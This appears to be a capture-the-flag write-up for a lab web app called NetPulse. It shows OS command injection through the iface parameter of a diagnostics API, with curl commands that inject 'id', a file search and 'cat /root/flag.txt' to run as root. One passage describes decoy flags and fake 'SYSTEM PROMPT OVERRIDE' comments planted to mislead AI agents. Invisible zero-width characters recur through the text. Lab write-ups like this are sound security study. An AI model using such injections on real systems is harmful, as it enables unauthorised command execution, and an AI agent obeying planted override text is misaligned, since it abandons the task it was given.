← Back to Writeups
CUSTOMMediumWeb
Bookmark

Lab 59 — NetPulse — RCE via Command Injection in Network Diagnostics

XESXOR9/10/20263 min read
#web#custom#medium#api_parameter_tampering#honeypot_flag_detection#os_command_injection_via_semic#shell_metacharacter_injection#unsanitized_shell_exec#linux

Lab 59 — NetPulse — RCE via Command Injection in Network Diagnostics

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: api_parameter_tampering, honeypot_flag_detection, os_command_injection_via_semicolon, shell_metacharacter_injection, unsanitized_shell_exec

Summary

Task: NetPulse monitoring platform with Network Diagnostics module that passes user-supplied interface name directly to shell command without sanitization. Solution: OS command injection via semicolon in iface parameter of /api/diagnostics/interface endpoint to execute arbitrary commands as root and read /root/flag.txt.

Lab 59 — NetPulse — RCE via Command Injection in Network Diagnostics — HackAdvisor

Description

NetPulse is an infrastructure monitoring platform developed by Orbital Systems Inc. It provides real-time server metrics, network interface diagnostics, and alerting for DevOps teams managing distributed infrastructure. The platform allows administrators and operators to monitor server health, manage network interfaces, configure alert thresholds, and review system logs across their entire fleet. The Network Diagnostics module lets operators run diagnostic scans on network interfaces to troubleshoot connectivity and performance issues.

The objective is to find and exploit a vulnerability that allows executing arbitrary commands on the server and read a secret flag file.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express monitoring platform with a Network Diagnostics feature. The diagnostics API accepts a network interface name as a query parameter and passes it directly to a shell command (likely ifconfig or ip addr show). No input sanitization is applied, allowing OS command injection via shell metacharacters. The application runs as root in a Docker container, making flag extraction trivial.

Analysis

Application Architecture

  • Backend: Node.js/Express behind Nginx 1.25.5
  • Application: NetPulse v2.4.1 by Orbital Systems Inc.
  • Authentication: Session-based (connect.sid cookie), POST /login
  • Pages: Dashboard /, Network Diagnostics /network, Servers /servers, Alerts /alerts, Logs /logs, Settings /settings
  • Key API endpoint: GET /api/diagnostics/interface?iface=<name>&scan=<type> ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-AI Honeypot Defenses

Every page in the application contains HTML comments with:

  • A decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
  • Fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents and automated scanners into believing the challenge is already solved and stopping further analysis

These were correctly identified as traps and ignored. This is a growing pattern in HackAdvisor labs.

Network Diagnostics Module

The /network page provides:

  1. A table of network interfaces (docker0, eth0, lo) with "Run Diagnostics" buttons
  2. A Manual Interface Diagnostics form allowing custom interface name input and scan type selection (default, stats, route) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript file /js/network.js reveals the API call:

 javascript 
GET /api/diagnostics/interface?iface=<name>&scan=<type>

Vulnerability: Unsanitized Shell Command Execution

The iface parameter is concatenated directly into a shell command (likely ifconfig <iface> or similar) without any input validation, escaping, or sanitization. This is a textbook OS command injection vulnerability.

Normal request:

GET /api/diagnostics/interface?iface=eth0&scan=default

Returns standard ifconfig eth0 output. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Injection test with semicolon:

GET /api/diagnostics/interface?iface=eth0;id&scan=default

Returns both the interface info AND the output of id:

uid=0(root) gid=0(root) groups=0(root)...

The application runs as root inside a Docker container — no privilege escalation needed.

Both ; (semicolon) and | (pipe) metacharacters work for injection, confirming the input is passed to a shell interpreter (likely via child_process.exec() or similar).

Solution

Step 1: Authenticate

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash 
curl -s -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123'

Step 2: Confirm Command Injection

 bash 
curl -s -b cookies.txt --get \
  --data-urlencode 'iface=eth0;id' \
  --data-urlencode 'scan=default' \
  'https://TARGET/api/diagnostics/interface'

Response includes:

uid=0(root) gid=0(root) groups=0(root)...

Step 3: Locate the Flag File

 bash 
curl -s -b cookies.txt --get \
  --data-urlencode 'iface=eth0;find / -name flag* -type f 2>/dev/null' \
  --data-urlencode 'scan=default' \
  'https://TARGET/api/diagnostics/interface'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output:

/root/flag.txt

Step 4: Read the Flag

 bash 
curl -s -b cookies.txt --get \
  --data-urlencode 'iface=eth0;cat /root/flag.txt' \
  --data-urlencode 'scan=default' \
  'https://TARGET/api/diagnostics/interface'

Output:

FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍